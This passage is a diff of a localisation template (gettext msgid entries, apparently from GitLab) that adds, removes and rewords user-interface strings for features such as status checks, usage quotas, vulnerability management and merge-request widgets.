+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
